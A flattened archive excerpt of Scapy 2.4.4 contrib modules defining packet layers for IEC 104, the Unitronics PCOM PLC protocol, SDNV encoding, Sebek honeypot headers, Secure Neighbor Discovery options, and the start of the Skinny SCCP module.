IEC104_IO_C_SE_TB_1_IOA(IEC104_IO_C_SE_TB_1): """ extended version of IEC104_IO_C_SE_TB_1 containing an individual information object address """ name = 'C_SE_TB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SE_TB_1.fields_desc class IEC104_IO_C_SE_TC_1_IOA(IEC104_IO_C_SE_TC_1): """ extended version of IEC104_IO_C_SE_TC_1 containing an individual information object address """ name = 'C_SE_TC_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_SE_TC_1.fields_desc class IEC104_IO_C_BO_TA_1_IOA(IEC104_IO_C_BO_TA_1): """ extended version of IEC104_IO_C_BO_TA_1 containing an individual information object address """ name = 'C_BO_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_BO_TA_1.fields_desc class IEC104_IO_M_EI_NA_1_IOA(IEC104_IO_M_EI_NA_1): """ extended version of IEC104_IO_M_EI_NA_1 containing an individual information object address """ name = 'M_EI_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_M_EI_NA_1.fields_desc class IEC104_IO_C_IC_NA_1_IOA(IEC104_IO_C_IC_NA_1): """ extended version of IEC104_IO_C_IC_NA_1 containing an individual information object address """ name = 'C_IC_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_IC_NA_1.fields_desc class IEC104_IO_C_CI_NA_1_IOA(IEC104_IO_C_CI_NA_1): """ extended version of IEC104_IO_C_CI_NA_1 containing an individual information object address """ name = 'C_CI_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_CI_NA_1.fields_desc class IEC104_IO_C_RD_NA_1_IOA(IEC104_IO_C_RD_NA_1): """ extended version of IEC104_IO_C_RD_NA_1 containing an individual information object address """ name = 'C_RD_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_RD_NA_1.fields_desc class IEC104_IO_C_CS_NA_1_IOA(IEC104_IO_C_CS_NA_1): """ extended version of IEC104_IO_C_CS_NA_1 containing an individual information object address """ name = 'C_CS_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_CS_NA_1.fields_desc class IEC104_IO_C_TS_NA_1_IOA(IEC104_IO_C_TS_NA_1): """ extended version of IEC104_IO_C_TS_NA_1 containing an individual information object address """ name = 'C_TS_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_TS_NA_1.fields_desc class IEC104_IO_C_RP_NA_1_IOA(IEC104_IO_C_RP_NA_1): """ extended version of IEC104_IO_C_RP_NA_1 containing an individual information object address """ name = 'C_RP_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_RP_NA_1.fields_desc class IEC104_IO_C_CD_NA_1_IOA(IEC104_IO_C_CD_NA_1): """ extended version of IEC104_IO_C_CD_NA_1 containing an individual information object address """ name = 'C_CD_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_CD_NA_1.fields_desc class IEC104_IO_C_TS_TA_1_IOA(IEC104_IO_C_TS_TA_1): """ extended version of IEC104_IO_C_TS_TA_1 containing an individual information object address """ name = 'C_TS_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_C_TS_TA_1.fields_desc class IEC104_IO_P_ME_NA_1_IOA(IEC104_IO_P_ME_NA_1): """ extended version of IEC104_IO_P_ME_NA_1 containing an individual information object address """ name = 'P_ME_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_P_ME_NA_1.fields_desc class IEC104_IO_P_ME_NB_1_IOA(IEC104_IO_P_ME_NB_1): """ extended version of IEC104_IO_P_ME_NB_1 containing an individual information object address """ name = 'P_ME_NB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_P_ME_NB_1.fields_desc class IEC104_IO_P_ME_NC_1_IOA(IEC104_IO_P_ME_NC_1): """ extended version of IEC104_IO_P_ME_NC_1 containing an individual information object address """ name = 'P_ME_NC_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_P_ME_NC_1.fields_desc class IEC104_IO_P_AC_NA_1_IOA(IEC104_IO_P_AC_NA_1): """ extended version of IEC104_IO_P_AC_NA_1 containing an individual information object address """ name = 'P_AC_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_P_AC_NA_1.fields_desc class IEC104_IO_F_FR_NA_1_IOA(IEC104_IO_F_FR_NA_1): """ extended version of IEC104_IO_F_FR_NA_1 containing an individual information object address """ name = 'F_FR_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_FR_NA_1.fields_desc class IEC104_IO_F_SR_NA_1_IOA(IEC104_IO_F_SR_NA_1): """ extended version of IEC104_IO_F_SR_NA_1 containing an individual information object address """ name = 'F_SR_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_SR_NA_1.fields_desc class IEC104_IO_F_SC_NA_1_IOA(IEC104_IO_F_SC_NA_1): """ extended version of IEC104_IO_F_SC_NA_1 containing an individual information object address """ name = 'F_SC_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_SC_NA_1.fields_desc class IEC104_IO_F_LS_NA_1_IOA(IEC104_IO_F_LS_NA_1): """ extended version of IEC104_IO_F_LS_NA_1 containing an individual information object address """ name = 'F_LS_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_LS_NA_1.fields_desc class IEC104_IO_F_AF_NA_1_IOA(IEC104_IO_F_AF_NA_1): """ extended version of IEC104_IO_F_AF_NA_1 containing an individual information object address """ name = 'F_AF_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_AF_NA_1.fields_desc class IEC104_IO_F_SG_NA_1_IOA(IEC104_IO_F_SG_NA_1): """ extended version of IEC104_IO_F_SG_NA_1 containing an individual information object address """ name = 'F_SG_NA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_SG_NA_1.fields_desc class IEC104_IO_F_DR_TA_1_IOA(IEC104_IO_F_DR_TA_1): """ extended version of IEC104_IO_F_DR_TA_1 containing an individual information object address """ name = 'F_DR_TA_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_DR_TA_1.fields_desc class IEC104_IO_F_SC_NB_1_IOA(IEC104_IO_F_SC_NB_1): """ extended version of IEC104_IO_F_SC_NB_1 containing an individual information object address """ name = 'F_SC_NB_1 (+ioa)' fields_desc = [LEThreeBytesField('information_object_address', 0)] + \ IEC104_IO_F_SC_NB_1.fields_desc IEC104_IO_WITH_IOA_CLASSES = { IEC104_IO_ID_M_SP_NA_1: IEC104_IO_M_SP_NA_1_IOA, IEC104_IO_ID_M_SP_TA_1: IEC104_IO_M_SP_TA_1_IOA, IEC104_IO_ID_M_DP_NA_1: IEC104_IO_M_DP_NA_1_IOA, IEC104_IO_ID_M_DP_TA_1: IEC104_IO_M_DP_TA_1_IOA, IEC104_IO_ID_M_ST_NA_1: IEC104_IO_M_ST_NA_1_IOA, IEC104_IO_ID_M_ST_TA_1: IEC104_IO_M_ST_TA_1_IOA, IEC104_IO_ID_M_BO_NA_1: IEC104_IO_M_BO_NA_1_IOA, IEC104_IO_ID_M_BO_TA_1: IEC104_IO_M_BO_TA_1_IOA, IEC104_IO_ID_M_ME_NA_1: IEC104_IO_M_ME_NA_1_IOA, IEC104_IO_ID_M_ME_TA_1: IEC104_IO_M_ME_TA_1_IOA, IEC104_IO_ID_M_ME_NB_1: IEC104_IO_M_ME_NB_1_IOA, IEC104_IO_ID_M_ME_TB_1: IEC104_IO_M_ME_TB_1_IOA, IEC104_IO_ID_M_ME_NC_1: IEC104_IO_M_ME_NC_1_IOA, IEC104_IO_ID_M_ME_TC_1: IEC104_IO_M_ME_TC_1_IOA, IEC104_IO_ID_M_IT_NA_1: IEC104_IO_M_IT_NA_1_IOA, IEC104_IO_ID_M_IT_TA_1: IEC104_IO_M_IT_TA_1_IOA, IEC104_IO_ID_M_EP_TA_1: IEC104_IO_M_EP_TA_1_IOA, IEC104_IO_ID_M_EP_TB_1: IEC104_IO_M_EP_TB_1_IOA, IEC104_IO_ID_M_EP_TC_1: IEC104_IO_M_EP_TC_1_IOA, IEC104_IO_ID_M_PS_NA_1: IEC104_IO_M_PS_NA_1_IOA, IEC104_IO_ID_M_ME_ND_1: IEC104_IO_M_ME_ND_1_IOA, IEC104_IO_ID_M_SP_TB_1: IEC104_IO_M_SP_TB_1_IOA, IEC104_IO_ID_M_DP_TB_1: IEC104_IO_M_DP_TB_1_IOA, IEC104_IO_ID_M_ST_TB_1: IEC104_IO_M_ST_TB_1_IOA, IEC104_IO_ID_M_BO_TB_1: IEC104_IO_M_BO_TB_1_IOA, IEC104_IO_ID_M_ME_TD_1: IEC104_IO_M_ME_TD_1_IOA, IEC104_IO_ID_M_ME_TE_1: IEC104_IO_M_ME_TE_1_IOA, IEC104_IO_ID_M_ME_TF_1: IEC104_IO_M_ME_TF_1_IOA, IEC104_IO_ID_M_IT_TB_1: IEC104_IO_M_IT_TB_1_IOA, IEC104_IO_ID_M_EP_TD_1: IEC104_IO_M_EP_TD_1_IOA, IEC104_IO_ID_M_EP_TE_1: IEC104_IO_M_EP_TE_1_IOA, IEC104_IO_ID_M_EP_TF_1: IEC104_IO_M_EP_TF_1_IOA, IEC104_IO_ID_C_SC_NA_1: IEC104_IO_C_SC_NA_1_IOA, IEC104_IO_ID_C_DC_NA_1: IEC104_IO_C_DC_NA_1_IOA, IEC104_IO_ID_C_RC_NA_1: IEC104_IO_C_RC_NA_1_IOA, IEC104_IO_ID_C_SE_NA_1: IEC104_IO_C_SE_NA_1_IOA, IEC104_IO_ID_C_SE_NB_1: IEC104_IO_C_SE_NB_1_IOA, IEC104_IO_ID_C_SE_NC_1: IEC104_IO_C_SE_NC_1_IOA, IEC104_IO_ID_C_BO_NA_1: IEC104_IO_C_BO_NA_1_IOA, IEC104_IO_ID_C_SC_TA_1: IEC104_IO_C_SC_TA_1_IOA, IEC104_IO_ID_C_DC_TA_1: IEC104_IO_C_DC_TA_1_IOA, IEC104_IO_ID_C_RC_TA_1: IEC104_IO_C_RC_TA_1_IOA, IEC104_IO_ID_C_SE_TA_1: IEC104_IO_C_SE_TA_1_IOA, IEC104_IO_ID_C_SE_TB_1: IEC104_IO_C_SE_TB_1_IOA, IEC104_IO_ID_C_SE_TC_1: IEC104_IO_C_SE_TC_1_IOA, IEC104_IO_ID_C_BO_TA_1: IEC104_IO_C_BO_TA_1_IOA, IEC104_IO_ID_M_EI_NA_1: IEC104_IO_M_EI_NA_1_IOA, IEC104_IO_ID_C_IC_NA_1: IEC104_IO_C_IC_NA_1_IOA, IEC104_IO_ID_C_CI_NA_1: IEC104_IO_C_CI_NA_1_IOA, IEC104_IO_ID_C_RD_NA_1: IEC104_IO_C_RD_NA_1_IOA, IEC104_IO_ID_C_CS_NA_1: IEC104_IO_C_CS_NA_1_IOA, IEC104_IO_ID_C_TS_NA_1: IEC104_IO_C_TS_NA_1_IOA, IEC104_IO_ID_C_RP_NA_1: IEC104_IO_C_RP_NA_1_IOA, IEC104_IO_ID_C_CD_NA_1: IEC104_IO_C_CD_NA_1_IOA, IEC104_IO_ID_C_TS_TA_1: IEC104_IO_C_TS_TA_1_IOA, IEC104_IO_ID_P_ME_NA_1: IEC104_IO_P_ME_NA_1_IOA, IEC104_IO_ID_P_ME_NB_1: IEC104_IO_P_ME_NB_1_IOA, IEC104_IO_ID_P_ME_NC_1: IEC104_IO_P_ME_NC_1_IOA, IEC104_IO_ID_P_AC_NA_1: IEC104_IO_P_AC_NA_1_IOA, IEC104_IO_ID_F_FR_NA_1: IEC104_IO_F_FR_NA_1_IOA, IEC104_IO_ID_F_SR_NA_1: IEC104_IO_F_SR_NA_1_IOA, IEC104_IO_ID_F_SC_NA_1: IEC104_IO_F_SC_NA_1_IOA, IEC104_IO_ID_F_LS_NA_1: IEC104_IO_F_LS_NA_1_IOA, IEC104_IO_ID_F_AF_NA_1: IEC104_IO_F_AF_NA_1_IOA, IEC104_IO_ID_F_SG_NA_1: IEC104_IO_F_SG_NA_1_IOA, IEC104_IO_ID_F_DR_TA_1: IEC104_IO_F_DR_TA_1_IOA, IEC104_IO_ID_F_SC_NB_1: IEC104_IO_F_SC_NB_1_IOA } scapy-2.4.4/scapy/contrib/scada/pcom.py000077500000000000000000000174651372370053500200270ustar00rootroot00000000000000# coding: utf8 # This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = PCOM Protocol # scapy.contrib.status = loads # Copyright (C) 2019 Luis Rosa # # PCOM is a protocol to communicate with Unitronics PLCs either by serial # or TCP. Two modes are available, ASCII and Binary. # # See https://unitronicsplc.com/Download/SoftwareUtilities/Unitronics%20PCOM%20Protocol.pdf # noqa import struct from scapy.packet import Packet, bind_layers from scapy.layers.inet import TCP from scapy.fields import XShortField, ByteEnumField, XByteField, \ StrFixedLenField, StrLenField, LEShortField, \ LEFieldLenField, LEX3BytesField, XLEShortField from scapy.volatile import RandShort from scapy.compat import bytes_encode, orb _protocol_modes = {0x65: "ascii", 0x66: "binary"} _ascii_command_codes = { "ID": "Send Identification Command", "CCR": "Send Start Command", "CCS": "Send Stop Command", "CCE": "Send Reset Command", "CCI": "Send Init Command", "CC": "Reply of Admin Commands (CC*)", "UG": "Get UnitID", "US": "Set UnitID", "RC": "Get RTC", "SC": "Set RTC", "RE": "Read Inputs", "RA": "Read Outputs", "GS": "Read System Bits", "GF": "Read System Integers", "RNH": "Read System Longs", "RNJ": "Read System Double Words", "RB": "Read Memory Bits", "RW": "Read Memory Integers", "RNL": "Read Memory Longs", "RND": "Read Memory Double Words", "RN": "Read Longs / Double Words", "SA": "Write Outputs", "SS": "Write System Bits", "SF": "Write System Integers", "SNH": "Write System Longs", "SNJ": "Write System Double Words", "SB": "Write Memory Bits", "SW": "Write Memory Integers", "SNL": "Write Memory Longs", "SND": "Write Memory Double Words", "SN": "Write Longs / Double Words" } _binary_command_codes = { 0x0c: "Get PLC Name Request", 0x8c: "Get PLC Name Reply", 0x4d: "Read Operands Request", 0xcd: "Read Operands Reply", 0x04: "Read Data Table Request", 0x84: "Read Data Table Reply", 0x44: "Write Data Table Request", 0xc4: "Write Data Table Reply" } class PCOM(Packet): fields_desc = [ XShortField("transId", RandShort()), ByteEnumField("mode", 0x65, _protocol_modes), XByteField("reserved", 0x00), LEShortField("len", None) ] def post_build(self, pkt, pay): if self.len is None and pay: pkt = pkt[:4] + struct.pack("H", len(pay)) return pkt + pay class PCOMRequest(PCOM): name = "PCOM/TCP Request" class PCOMResponse(PCOM): name = "PCOM/TCP Response" class PCOMAscii(Packet): @staticmethod def pcom_ascii_checksum(command): n = 0 command = bytes_encode(command) for _, c in enumerate(command): n += orb(c) return list(map(ord, hex(n % 256)[2:].zfill(2).upper())) class PCOMAsciiCommandField(StrLenField): def i2repr(self, pkt, x): s = super(PCOMAsciiCommandField, self).i2repr(pkt, x) code = s[1:4] # check for 3 chars known codes if code in _ascii_command_codes: return _ascii_command_codes[code] + " " + s code = s[1:3] # check for 2 chars known codes if code in _ascii_command_codes: return _ascii_command_codes[code] + " " + s return s class PCOMAsciiRequest(PCOMAscii): name = "PCOM/ASCII Request" fields_desc = [ StrFixedLenField("stx", "/", 1), StrFixedLenField("unitId", "00", 2), PCOMAsciiCommandField( "command", '', length_from=lambda pkt: pkt.underlayer.len - 6), XShortField("chksum", None), XByteField("etx", 0x0d) ] def post_build(self, pkt, pay): if self.chksum is None: chksum = PCOMAscii.pcom_ascii_checksum(pkt[1:-3]) pkt = pkt[:-3] + struct.pack("2B", chksum[0], chksum[1]) + pkt[-1:] return pkt + pay class PCOMAsciiResponse(PCOMAscii): name = "PCOM/ASCII Response" fields_desc = [ StrFixedLenField("stx", "/A", 2), StrFixedLenField("unitId", "00", 2), PCOMAsciiCommandField( "command", '', length_from=lambda pkt: pkt.underlayer.len - 7), XShortField("chksum", None), XByteField("etx", 0x0d) ] def post_build(self, pkt, pay): if self.chksum is None: chksum = PCOMAscii.pcom_ascii_checksum(pkt[2:-3]) pkt = pkt[:-3] + struct.pack("2B", chksum[0], chksum[1]) + pkt[-1:] return pkt + pay class PCOMBinary(Packet): @staticmethod def pcom_binary_checksum(command): n = 0 command = bytes_encode(command) for _, c in enumerate(command): c = c if isinstance(c, int) else ord(c) # python 2 fallback n += c if n == 0: return [0x00, 0x00] else: two_complement = hex(0x10000 - (n % 0x10000))[2:].zfill(4) return [int(two_complement[:2], 16), int(two_complement[2:], 16)] def post_build(self, pkt, pay): if self.headerChksum is None: chksum = PCOMBinaryRequest.pcom_binary_checksum(pkt[:21]) pkt = pkt[:22] + struct.pack("2B", chksum[1], chksum[0]) + pkt[24:] if self.footerChksum is None: chksum = PCOMBinaryRequest.pcom_binary_checksum(pkt[24:-3]) pkt = pkt[:-3] + struct.pack("2B", chksum[1], chksum[0]) + pkt[-1:] return pkt + pay class PCOMBinaryCommandField(XByteField): def i2repr(self, pkt, x): s = super(PCOMBinaryCommandField, self).i2repr(pkt, x) if x in _binary_command_codes: return _binary_command_codes[x] + " - " + s else: return s class PCOMBinaryRequest(PCOMBinary): name = "PCOM/Binary Request" fields_desc = [ StrFixedLenField("stx", "/_OPLC", 6), XByteField("id", 0x0), XByteField("reserved1", 0xfe), XByteField("reserved2", 0x1), LEX3BytesField("reserved3", 0x0), PCOMBinaryCommandField("command", None), XByteField("reserved4", 0x0), StrFixedLenField("commandSpecific", '', 6), LEFieldLenField("len", 0, length_of="data"), XLEShortField("headerChksum", None), StrLenField("data", '', length_from=lambda pkt: pkt.len), XLEShortField("footerChksum", None), XByteField("etx", 0x5c) ] class PCOMBinaryResponse(PCOMBinary): name = "PCOM/Binary Response" fields_desc = [ StrFixedLenField("stx", "/_OPLC", 6), XByteField("reserved1", 0xfe), XByteField("id", 0x0), XByteField("reserved2", 0x1), LEX3BytesField("reserved3", 0x0), PCOMBinaryCommandField("command", None), XByteField("reserved4", 0x0), StrFixedLenField("commandSpecific", '', 6), LEFieldLenField("len", 0, length_of="data"), XLEShortField("headerChksum", None), StrLenField("data", '', length_from=lambda pkt: pkt.len), XLEShortField("footerChksum", None), XByteField("etx", 0x5c) ] bind_layers(TCP, PCOMRequest, dport=20256) bind_layers(TCP, PCOMResponse, sport=20256) bind_layers(PCOMRequest, PCOMAsciiRequest, mode=0x65) bind_layers(PCOMRequest, PCOMBinaryRequest, mode=0x66) bind_layers(PCOMResponse, PCOMAsciiResponse, mode=0x65) bind_layers(PCOMResponse, PCOMBinaryResponse, mode=0x66) scapy-2.4.4/scapy/contrib/sdnv.py000066400000000000000000000060611372370053500167530ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . """ Copyright 2012, The MITRE Corporation:: NOTICE This software/technical data was produced for the U.S. Government under Prime Contract No. NASA-03001 and JPL Contract No. 1295026 and is subject to FAR 52.227-14 (6/87) Rights in Data General, and Article GP-51, Rights in Data General, respectively. This software is publicly released under MITRE case #12-3054 """ # scapy.contrib.description = Self-Delimiting Numeric Values (SDNV) # scapy.contrib.status = library from scapy.fields import Field, FieldLenField, LenField from scapy.compat import raw # SDNV definitions class SDNVValueError(Exception): def __init__(self, maxValue): self.maxValue = maxValue class SDNV: def __init__(self, maxValue=2**32 - 1): self.maxValue = maxValue return def setMax(self, maxValue): self.maxValue = maxValue def getMax(self): return self.maxValue def encode(self, number): if number > self.maxValue: raise SDNVValueError(self.maxValue) foo = bytearray() foo.append(number & 0x7F) number = number >> 7 while (number > 0): thisByte = number & 0x7F thisByte |= 0x80 number = number >> 7 temp = bytearray() temp.append(thisByte) foo = temp + foo return(foo) def decode(self, ba, offset): number = 0 numBytes = 1 b = ba[offset] number = (b & 0x7F) while (b & 0x80 == 0x80): number = number << 7 if (number > self.maxValue): raise SDNVValueError(self.maxValue) b = ba[offset + numBytes] number += (b & 0x7F) numBytes += 1 if (number > self.maxValue): raise SDNVValueError(self.maxValue) return(number, numBytes) SDNVUtil = SDNV() class SDNV2(Field): """ SDNV2 field """ def addfield(self, pkt, s, val): return s + raw(SDNVUtil.encode(val)) def getfield(self, pkt, s): b = bytearray(s) val, len = SDNVUtil.decode(b, 0) return s[len:], val class SDNV2FieldLenField(FieldLenField, SDNV2): def addfield(self, pkt, s, val): return s + raw(SDNVUtil.encode(FieldLenField.i2m(self, pkt, val))) class SDNV2LenField(LenField, SDNV2): def addfield(self, pkt, s, val): return s + raw(SDNVUtil.encode(LenField.i2m(self, pkt, val))) scapy-2.4.4/scapy/contrib/sebek.py000066400000000000000000000113101372370053500170630ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Sebek: kernel module for data collection on honeypots. """ # scapy.contrib.description = Sebek # scapy.contrib.status = loads from scapy.fields import FieldLenField, IPField, IntField, ShortEnumField, \ ShortField, StrFixedLenField, StrLenField, XIntField, ByteEnumField from scapy.packet import Packet, bind_layers from scapy.layers.inet import UDP from scapy.data import IP_PROTOS # SEBEK class SebekHead(Packet): name = "Sebek header" fields_desc = [XIntField("magic", 0xd0d0d0), ShortField("version", 1), ShortEnumField("type", 0, {"read": 0, "write": 1, "socket": 2, "open": 3}), IntField("counter", 0), IntField("time_sec", 0), IntField("time_usec", 0)] def mysummary(self): return self.sprintf("Sebek Header v%SebekHead.version% %SebekHead.type%") # noqa: E501 # we need this because Sebek headers differ between v1 and v3, and # between v3 type socket and v3 others class SebekV1(Packet): name = "Sebek v1" fields_desc = [IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), StrFixedLenField("cmd", "", 12), FieldLenField("data_length", None, "data", fmt="I"), StrLenField("data", "", length_from=lambda x:x.data_length)] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v1 %SebekHead.type% (%SebekV1.cmd%)") # noqa: E501 else: return self.sprintf("Sebek v1 (%SebekV1.cmd%)") class SebekV3(Packet): name = "Sebek v3" fields_desc = [IntField("parent_pid", 0), IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), IntField("inode", 0), StrFixedLenField("cmd", "", 12), FieldLenField("data_length", None, "data", fmt="I"), StrLenField("data", "", length_from=lambda x:x.data_length)] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3.cmd%)") # noqa: E501 else: return self.sprintf("Sebek v3 (%SebekV3.cmd%)") class SebekV2(SebekV3): def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2.cmd%)") # noqa: E501 else: return self.sprintf("Sebek v2 (%SebekV2.cmd%)") class SebekV3Sock(Packet): name = "Sebek v2 socket" fields_desc = [IntField("parent_pid", 0), IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), IntField("inode", 0), StrFixedLenField("cmd", "", 12), IntField("data_length", 15), IPField("dip", "127.0.0.1"), ShortField("dport", 0), IPField("sip", "127.0.0.1"), ShortField("sport", 0), ShortEnumField("call", 0, {"bind": 2, "connect": 3, "listen": 4, "accept": 5, "sendmsg": 16, "recvmsg": 17, "sendto": 11, "recvfrom": 12}), ByteEnumField("proto", 0, IP_PROTOS)] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3Sock.cmd%)") # noqa: E501 else: return self.sprintf("Sebek v3 socket (%SebekV3Sock.cmd%)") class SebekV2Sock(SebekV3Sock): def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2Sock.cmd%)") # noqa: E501 else: return self.sprintf("Sebek v2 socket (%SebekV2Sock.cmd%)") bind_layers(UDP, SebekHead, sport=1101) bind_layers(UDP, SebekHead, dport=1101) bind_layers(UDP, SebekHead, dport=1101, sport=1101) bind_layers(SebekHead, SebekV1, version=1) bind_layers(SebekHead, SebekV2Sock, version=2, type=2) bind_layers(SebekHead, SebekV2, version=2) bind_layers(SebekHead, SebekV3Sock, version=3, type=2) bind_layers(SebekHead, SebekV3, version=3) scapy-2.4.4/scapy/contrib/send.py000066400000000000000000000075231372370053500167360ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # Copyright (C) 2009 Adline Stephane # Copyright 2018 Gabriel Potter # Partial support of RFC3971 # scapy.contrib.description = Secure Neighbor Discovery (SEND) (ICMPv6) # scapy.contrib.status = loads from __future__ import absolute_import from scapy.packet import Packet from scapy.fields import BitField, ByteField, FieldLenField, PacketField, \ PacketLenField, ShortField, StrFixedLenField, StrLenField, UTCTimeField from scapy.layers.x509 import X509_SubjectPublicKeyInfo from scapy.layers.inet6 import icmp6ndoptscls, _ICMPv6NDGuessPayload from scapy.compat import chb from scapy.volatile import RandBin class ICMPv6NDOptNonce(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6NDOptNonce" fields_desc = [ByteField("type", 14), FieldLenField("len", None, length_of="nonce", fmt="B", adjust=lambda pkt, x: int(round((x + 2) / 8.))), # noqa: E501 StrLenField("nonce", "", length_from=lambda pkt: pkt.len * 8 - 2)] # noqa: E501 class ICMPv6NDOptTmstp(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6NDOptTmstp" fields_desc = [ByteField("type", 13), ByteField("len", 2), BitField("reserved", 0, 48), UTCTimeField("timestamp", None)] class ICMPv6NDOptRsaSig(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6NDOptRsaSig" fields_desc = [ByteField("type", 12), FieldLenField("len", None, length_of="signature_pad", fmt="B", adjust=lambda pkt, x: (x + 20) // 8), # noqa: E501 ShortField("reserved", 0), StrFixedLenField("key_hash", "", length=16), StrLenField("signature_pad", "", length_from=lambda pkt: pkt.len * 8 - 20)] # noqa: E501 class CGA_Params(Packet): name = "CGA Parameters data structure" fields_desc = [StrFixedLenField("modifier", RandBin(size=16), length=16), StrFixedLenField("subprefix", "", length=8), ByteField("cc", 0), PacketField("pubkey", X509_SubjectPublicKeyInfo(), X509_SubjectPublicKeyInfo)] class ICMPv6NDOptCGA(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6NDOptCGA" fields_desc = [ByteField("type", 11), FieldLenField("len", None, length_of="CGA_PARAMS", fmt="B", adjust=lambda pkt, x: (x + pkt.padlength + 4) // 8), # noqa: E501 FieldLenField("padlength", 0, length_of="padding", fmt="B"), ByteField("reserved", 0), PacketLenField("CGA_PARAMS", "", CGA_Params, length_from=lambda pkt: pkt.len * 8 - pkt.padlength - 4), # noqa: E501 StrLenField("padding", "", length_from=lambda pkt: pkt.padlength)] # noqa: E501 def post_build(self, p, pay): l_ = len(self.CGA_PARAMS) tmp_len = -(4 + l_) % 8 # Pad to 8 bytes p = p[:1] + chb((4 + l_ + tmp_len) // 8) + chb(tmp_len) + p[3:4 + l_] p += b"\x00" * tmp_len + pay return p send_icmp6ndoptscls = {11: ICMPv6NDOptCGA, 12: ICMPv6NDOptRsaSig, 13: ICMPv6NDOptTmstp, 14: ICMPv6NDOptNonce } icmp6ndoptscls.update(send_icmp6ndoptscls) scapy-2.4.4/scapy/contrib/skinny.py000066400000000000000000000447201372370053500173200ustar00rootroot00000000000000# scapy.contrib.description = Skinny Call Control Protocol (SCCP) # scapy.contrib.status = loads ############################################################################# # # # scapy-skinny.py --- Skinny Call Control Protocol (SCCP) extension # # # # Copyright (C) 2006 Nicolas Bareil # # EADS/CRC security team # # # # This file is part of Scapy # # Scapy is free software: you can redistribute it and/or modify # # under the terms of the GNU General Public License version 2 as # # published by the Free Software Foundation; version 2. # # # # This program is distributed in the hope that it will be useful, but # # WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # # General Public License for more details. # # # ############################################################################# from __future__ import absolute_import import time import struct from scapy.packet import Packet, bind_layers from scapy.fields import FlagsField, IPField, LEIntEnumField, LEIntField, \ StrFixedLenField from scapy.layers.inet import TCP from scapy.modules.six.moves import range from scapy.volatile import RandShort from scapy.config import conf 